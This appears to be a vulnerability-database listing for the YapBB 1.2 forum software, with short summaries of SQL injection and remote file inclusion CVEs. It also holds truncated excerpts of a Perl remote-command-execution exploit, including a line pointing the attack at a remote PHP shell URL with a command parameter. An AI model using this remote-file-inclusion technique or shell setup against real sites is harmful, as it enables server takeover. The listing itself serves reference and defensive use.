EUVD-2006-2486

Malware in sbrugna...

EUVD-2008-5917

Malware in sbrugna...

YapBB <= 1.2 (cfgIncludeDirectory) Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl YapBB =1.2 Beta Remote Command Execution Exploit Copyright c 2006 cijfer cijfer@netti!fi All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$...

Sql injection

SQL injection vulnerability in forumhop.php in YapBB 1.2 and earlier allows remote attackers to execute arbitrary SQL commands via the forumID parameter in a next action...

CVE-2009-0768

The CVE-2009-0768 entry applies to YapBB version 1.2 and earlier, with a SQL injection vulnerability in forumhop.php. The vulnerability is triggered via the forumID parameter in a next action, allowing remote attackers to execute arbitrary SQL commands. This is supported by multiple sources in th...

Remote file inclusion

PHP remote file inclusion vulnerability in include/classyapbbcooker.php in YapBB 1.2.Beta 2 allows remote attackers to execute arbitrary PHP code via a URL in the cfgIncludeDirectory parameter...

CVE-2008-5947

CVE-2008-5947 : In YapBB 1.2.Beta 2, a PHP remote file inclusion flaw exists in include/class_yapbbcooker.php triggered by a URL in the cfgIncludeDirectory parameter. The vulnerability allows remote attackers to cause arbitrary PHP code execution. The CVSS metrics indicate Network access, require...

yapbb-rfi.txt

┌┌─────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └─────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable...

CVE-2006-2486

CVE-2006-2486 affects YapBB 1.2 Beta2 and earlier. The vulnerability resides in find.php, where the userID parameter can be manipulated to cause an SQL injection, enabling remote attackers to execute arbitrary SQL commands.

CVE-2006-2486

SQL injection vulnerability in find.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary SQL commands via the userID parameter...

YapBB 1.2 - cfgIncludeDirectory Remote Command Execution

YapBB 1.2 - cfgIncludeDirectory Remote Command Execution !/usr/bin/perl YapBB All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd= php shell set to...